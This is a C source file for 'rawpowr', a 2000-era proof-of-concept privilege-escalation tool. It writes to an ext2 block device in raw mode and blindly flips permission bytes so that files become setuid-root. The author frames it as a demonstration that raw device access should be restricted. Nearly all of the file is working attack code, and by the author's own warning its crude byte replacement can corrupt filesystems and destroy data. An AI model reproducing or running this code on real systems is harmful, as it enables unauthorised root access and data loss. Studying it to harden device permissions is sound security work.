/*
 * rawpowr 0.1, Jan 2000 by Mixter
 *
 * This tool will try to read inode tables from a ext2 partition in raw mode,
 * and change bytes that indicate umask 755 for a file to umask 4755. It could
 * be used to create suid root binaries from any files on a ext2 filesystem
 * that can be written to. This demonstrates that most block devices should
 * not be directly accessible by users at any time, and that systems should be
 * run under a securelevel where raw access to such devices is impossible.
 *
 * WARNING! WARNING! WARNING! This not only performs raw operations on your
 * harddisk, but also very sloppy ones (i.e. replace occurences of a special
 * byte with another one, without honoring the ext2fs structure). Do NOT use
 * this on active or mounted partitions! Do NOT use this on partitions with
 * valuable non-backed-up data. I suggest you try this with a ext2fs floppy
 * disk. I am not responsible for any damages this thingie might cause :).
 */

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>

/* This is the offset where my first file on a "virgin" ext2fs
   was located. This offset is relatively tiny, and therefore, probably
   only the first few binaries in the root directory get chmod +s'ed */

#define E2_DATA_START	278528
#define E2_MODE_755	'\x81'
#define E2_MODE_4755	'\x8d'

void 
ewsage (char *x)
{
  printf ("usage: %s <writable block device>\nthis tries to change normal files to suid binaries\n", x);
  exit (0);
}

int
main (int argc, char **argv)
{
  char inodes_raw[E2_DATA_START];
  int effdee;
  long r, i;

  if (argc != 2)
    ewsage (argv[0]);

  (void) sync ();

  printf ("rawpower by Mixter\nWarning: this program performs dangerous operations on block devices...\n\t Hit ctrl+c to terminate now!\n");
  sleep (5);

  if ((effdee = open (argv[1], O_RDWR)) == -1)
    {
      perror ("opening filesystem");
      ewsage (argv[0]);
    }

  printf ("Reading from device...");
  r = read (effdee, inodes_raw, E2_DATA_START);
  printf (".");
  if (r < E2_DATA_START)
    r += read (effdee, inodes_raw + r, E2_DATA_START - r);
  printf (".");
  if (r < E2_DATA_START)
    r += read (effdee, inodes_raw + r, E2_DATA_START - r);
  printf (".");
  if (r < E2_DATA_START)
    r += read (effdee, inodes_raw + r, E2_DATA_START - r);
  printf (".");
  if (r < E2_DATA_START)
    r += read (effdee, inodes_raw + r, E2_DATA_START - r);
  printf (".\n");

  for (i = 0; i < E2_DATA_START; i++)
    {
      if (inodes_raw[i] == E2_MODE_755)
	{
	  inodes_raw[i] = E2_MODE_4755;
	  printf ("Changing possible permission byte at offset: %ld\n", i);
	}
    }

  lseek (effdee, 0, SEEK_SET);

  printf ("Writing to device...");
  i = write (effdee, inodes_raw, r);
  printf (".");
  if (i < r)
    i += write (effdee, inodes_raw + i, r - i);
  printf (".");
  if (i < r)
    i += write (effdee, inodes_raw + i, r - i);
  printf (".");
  if (i < r)
    i += write (effdee, inodes_raw + i, r - i);
  printf (".");
  if (i < r)
    i += write (effdee, inodes_raw + i, r - i);
  printf (".\n");

  close (effdee);
  (void) sync ();

  printf ("Synching disk, done! (Now try: find /mountpoint -perm 4000)\n");

  return 0;
}
